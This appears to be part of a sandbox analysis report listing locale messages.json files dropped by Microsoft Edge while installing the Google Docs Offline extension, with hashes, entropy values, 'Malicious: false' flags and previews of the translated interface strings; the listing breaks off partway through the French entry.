Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
